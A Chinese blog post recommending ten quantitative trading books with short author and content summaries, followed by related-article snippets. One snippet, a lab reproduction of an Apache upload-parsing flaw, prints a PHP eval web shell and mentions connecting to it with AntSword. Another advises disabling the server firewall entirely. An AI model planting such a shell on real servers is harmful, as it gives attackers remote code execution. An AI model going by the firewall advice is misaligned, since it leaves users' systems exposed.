10本值得阅读的量化交易书籍

什么是量化交易?

量化交易是利用数学模型或算法来创建交易策略并进行交易。量化交易通常由大型机构交易员或对冲基金雇用,他们雇用大量的博士和工程师团队。从历史上看,量化交易领域一直非常隐秘,有效的想法往往受到公司的严密保护,但在过去几年中,公开可用的数据集和计算访问的增长,即(以 GPU 和云的形式)已经取得了进展。面向更多受众的量化交易。

量化交易概述

  任何量化交易系统都包含以下步骤

  • 识别/创建交易策略
  • 回测策略
  • 为您的策略设计执行设置/系统
  • 管理风险

上述每个步骤都需要大量的研究和反复试验才能正确。

量化交易是一个复杂的领域,需要仔细和详细的研究才能成功。以下是 10 本书,可以帮助人们开始他们的量化之旅。

1. 量化交易:如何建立自己的算法交易业务,作者:Ernest Chan。

Ernest P. Chan 是一位屡获殊荣的量化对冲基金经理。他是 IBM 机器学习领域的研究员。他现在经营着自己的公司,并且是一位知名作家,为量化交易初学者撰写了多本书籍。您可以在这里找到他的博客。

上面的书涵盖了初学者的量化交易基础知识。本书的目的是介绍量化交易涉及的所有主要关注领域。它仅讨论基本和初学者策略。

2.机器交易:部署计算机算法来征服市场作者:Ernest Chan。

这本书也是欧内斯特·P·陈 (Ernest P. Chan) 的著作。这是一本 2017 年出版的稍微旧的书,但内容仍然相关。重点不是端到端的量化交易流程,而是介绍以下领域的策略:

  • 使用因子模型
  • 用于制定策略的人工智能
  • 期权策略
  • 时间序列分析
  • 日内交易

3. 《寻找阿尔法:构建交易策略的定量方法》作者:Igor Tulchinsky。

这本书是一本经典之作,是任何认真探索进入量化交易领域的人的必读之书。伊戈尔·图尔钦斯基 (Igor Tulchinsky) 是 WorldQuant 的创始人兼首席执行官。WorldQuant 是最成功的量化对冲基金之一。本书的目的不是讨论策略,而是讨论寻找策略的过程。本书是关于“阿尔法”(这是交易策略的术语)研究以及您应该遵循哪些步骤和过程来提出新想法。本书的每一章均由 WorldQuant 的一位宽客撰写。

4.金融机器学习的进展 作者:Marcos Lopez de Prado

这本书的作者是被誉为“机器人大师”的马科斯·洛佩兹·德·普拉多。他目前是康奈尔大学工程学院的实践教授,在此之前,他曾担任 AQR Capital(一家大型对冲基金,专注于使用因子模型进行投资)的机器学习负责人。本书专门讨论了应用机器学习/人工智能创建交易策略的挑战和机遇。本书是第一本讨论在定量空间中应用 ML/AI 的所有细微差别和挑战的书籍之一,例如模型过度拟合、特征化和选择重要特征、回溯测试和评估模型。

5.资产管理者的机器学习作者:Marcos Lopez de Prado

这是马科斯·洛佩兹·德普拉多的另一本书。本书讨论了定量的 AI/ML 方法,更多地关注投资组合构建、特征选择和识别过度拟合模型。

6.主动投资组合管理的进展 作者:Richard Grinold、Ronald Kahn

这本书是一位在量化行业工作的朋友向我推荐的。本书的重点不是制定策略,而是投资组合管理。投资组合管理是将各种信号和策略组合成单个投资组合的过程,其目的是降低风险。本书讨论了构建投资组合、优化交易成本和最小化风险的方法。

7. 151 种交易策略作者:Zura Kakushadze、Juan Andres Serur

Zura Kakushadze 是一位量化金融研究员,此前也曾与 WorldQuant 合作过。这是作者最新出版的一本书。它是跨资产类别的各种策略的汇编,也是高级策略的来源。这不是一本专注于人工智能/机器学习的书,但其中许多策略可以重新构建以使用人工智能/机器学习。讨论的一些策略类型是

  • 盈利策略
  • 期权策略
  • 波动策略
  • 动量/均值回归策略
  • 指数和外汇策略。

8.资产管理机器学习作者:Emmanuel Jurczenko

本书重点介绍机器学习在交易领域的应用。最初的内容是关于机器学习的介绍,重点关注量化交易相关概念。本书讲述了

  • 创建多/空策略
  • 使用新闻/情绪进行交易
  • 使用机器学习预测回报
  • 使用机器学习进行投资组合优化。

9.用于算法交易的 Python:从想法到云部署作者:Yves Hilpisch

本书更多地关注事物的工程方面。它简要提到了交易策略。它深入讨论了如何在 python 中实现所有必需的流程。讨论的主题是

  • 处理金融数据集并用 python 读取它们
  • 如何设置云实例和 docker 进行部署
  • 如何使用 API 和数据库
  • 如何使用 conda 和虚拟环境

10.用于算法交易的机器学习 作者:Stefan Jansen

本书采用实践方法。它涵盖的内容非常广泛。涵盖的一些重要主题是

  • 使用随机森林/神经网络的多/空策略
  • 使用新闻和 NLP 来增强策略
  • 使用 CNN/RNN 等高级模型
  • 探索强化学习如何用于交易策略。

除了上述内容之外,本书还讨论了使用技术指标、线性模型和 Zipline、Alphalens、pyfolio 等库来分析策略的结果。

除了上述书籍之外,另一本重要的书是理解许多策略的先决条件

期权、期货和其他衍生品作者:John Hull & S. Basu

约翰·赫尔(John Hull)关于期权和衍生品的书是理解衍生工具的经典介绍,没有这本书,任何宽客的图书馆都是不完整的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161503.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【漏洞复现】Apache_HTTPD_未知后缀名解析

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 upload-labs/Pass-07 上传1.php文件 <?php eval($_REQUEST[6868]);phpinfo();?>访问/upload/1.php.jaychou 蚁剑连接

(后续补充)vue+express、gitee pm2部署轻量服务器

首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 首先 防火墙全部关闭算了 关闭防火墙 systemctl stop firewalld 重新载入防火墙使设置生效 firewall-cmd --reload 后端的 pm2.config.cjs …

react_11

MobX 介绍 需求&#xff0c;组件0 改变了数据&#xff0c;其它组件也想获得改变后的数据&#xff0c;如图所示 这种多个组件之间要共享状态数据&#xff0c;useState 就不够用了&#xff0c;useContext 也不好用了 能够和 react 配合使用的状态管理库有 MobX Redux 其中…

XR Interaction ToolKit

一、简介 XR Interaction Toolkit是unity官方的XR交互工具包。 官方XRI示例地址&#xff1a;https://github.com/Unity-Technologies/XR-Interaction-Toolkit-Examples 2023.3.14官方博客&#xff0c;XRIT v2.3 https://blog.unity.com/engine-platform/whats-new-in-xr-int…

JVM类的声明周期

文章目录 版权声明生命周期概述加载阶段查看内存中的对象 连接阶段连接阶段之验证连接阶段之准备连接阶段之解析 初始化阶段练习题目一练习题目二练习题目三练习题目四 使用阶段卸载阶段总结 版权声明 本博客的内容基于我个人学习黑马程序员课程的学习笔记整理而成。我特此声明…

【探索Linux】—— 强大的命令行工具 P.13(文件系统 | 软硬链接 | 动态库和静态库)

阅读导航 引言一、文件系统1. 磁盘文件系统2. 磁盘结构&#xff08;1&#xff09;物理结构&#xff08;2&#xff09;存储结构 3. stat 命令4. Linux ext2文件系统 二、软硬链接1. 软连接2. 硬链接 三、动态库和静态库1. 动态库&#xff08;1&#xff09;动态库文件扩展名&…

【蓝桥杯省赛真题43】Scratch神奇哈哈镜 蓝桥杯少儿编程scratch图形化编程 蓝桥杯省赛真题讲解

目录 scratch神奇哈哈镜 一、题目要求 编程实现 二、案例分析 1、角色分析

Go类型嵌入介绍和使用类型嵌入模拟实现“继承”

Go类型嵌入介绍和使用类型嵌入模拟实现“继承” 文章目录 Go类型嵌入介绍和使用类型嵌入模拟实现“继承”一、独立的自定义类型二、继承三、类型嵌入3.1 什么是类型嵌入 四、接口类型的类型嵌入4.1 接口类型的类型嵌入介绍4.2 一个小案例 五、结构体类型的类型嵌入5.1 结构体类…

Ansible中的任务执行控制

一、循环 循环迭代任务 1.简单循环 loop: ##赋值列表- value1- value2- ... {{item}} ##迭代变量名称#实例# --- - name: create filehosts: 172.25.0.254tasks:- name: file modulefile:name: /mnt/{{item}}state: presentloop:- westos_file1- westos_file2 2…

uniapp subNvue 写的视频播放

文件下载地址(没会员的留下邮箱&#xff0c;有空就发过去) https://download.csdn.net/download/weixin_47517731/88500016https://download.csdn.net/download/weixin_47517731/88500016 1:在pages.json中配置视频播放页面 {/* 视频详情页面 */"path": "pag…

SLAM从入门到精通(被忽视的基础图像处理)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 工业上用激光slam的多&#xff0c;用视觉slam的少&#xff0c;这是大家都知道的常识。毕竟对于工业来说&#xff0c;健壮和稳定是我们必须要考虑的…

TensorRT量化实战课YOLOv7量化:YOLOv7-PTQ量化(二)

目录 前言1. YOLOv7-PTQ量化流程2. 模型标定3. 敏感层分析 前言 手写 AI 推出的全新 TensorRT 模型量化实战课程&#xff0c;链接。记录下个人学习笔记&#xff0c;仅供自己参考。 该实战课程主要基于手写 AI 的 Latte 老师所出的 TensorRT下的模型量化&#xff0c;在其课程的基…